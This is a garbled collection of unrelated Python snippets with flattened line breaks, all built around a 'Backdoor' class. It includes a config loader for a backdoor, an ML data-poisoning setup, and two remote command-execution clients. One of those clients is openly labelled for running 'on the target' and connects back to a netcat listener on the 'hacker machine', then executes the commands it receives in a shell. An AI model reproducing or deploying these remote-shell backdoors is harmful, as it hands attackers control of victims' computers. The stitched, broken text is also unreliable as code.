def main(): config = ConfigParser.ConfigParser() config.read('setup.config') localIP = config.get('Backdoor', 'localIP') localPort = config.get('Backdoor', 'localPort') remoteIP = config.get('Backdoor', 'remoteIP') remotePort = config.get('Backdoor', 'remotePort') protocol = config.get('General', 'protocol') password = config.get('Encryption', 'password') filePort = config.get('General', 'filePort') print(localIP, localPort, remoteIP, remotePort, protocol) backdoor = Backdoor(localIP, localPort, remoteIP, remotePort, protocol, password) backdoor.run()
def init(self): self.x_train_ordered = None self.y_train_ordered = None self.x_test = None self.y_test = None self.min_ = None self.max_ = None self.random_selection_indices = None self.train_poisoned_index = None self.test_poisoned_index = None self.data_path = self.param.get_conf('data_path') self.backdoor = Backdoor(self.param.get_conf()) if type(self.param.get_conf('poison_label_source')) is list: self.source_num = self.param.get_conf('poison_label_source') else: self.source_num = np.array([int(self.param.get_conf('poison_label_source'))]) if type(self.param.get_conf('poison_label_target')) is list: self.target_num = self.param.get_conf('poison_label_target') else: self.target_num = np.array([int(self.param.get_conf('poison_label_target'))])
#!/usr/bin/env python3 ''' Do this on hacker machine: run executeCommandServer.py -p 4444 netcat verbose listen port 4444 Run this code on the target: ''' import socket import subprocess from backdoor import Backdoor def execute_command(command): output = subprocess.check_output(command, shell=True) return output backdoor = Backdoor("192.168.1.197", 4444) response_json = backdoor.recv_json(1024) while (True): if "close" in response_json: break try: output = execute_command(response_json.strip()) backdoor.send_json(output.decode("utf-8")) except: backdoor.send_json("This command is not recognized") response_json = backdoor.recv_json(1024) backdoor.close()
from backdoor import Backdoor import sys door = Backdoor(server='127.0.0.1', port=5002) door.connect() while True: message = door.receiver() if message == door.DISCONNECT: print('DISCONNECT') door.connection.close() sys.exit() result = door.run_command(message) door.sender(result)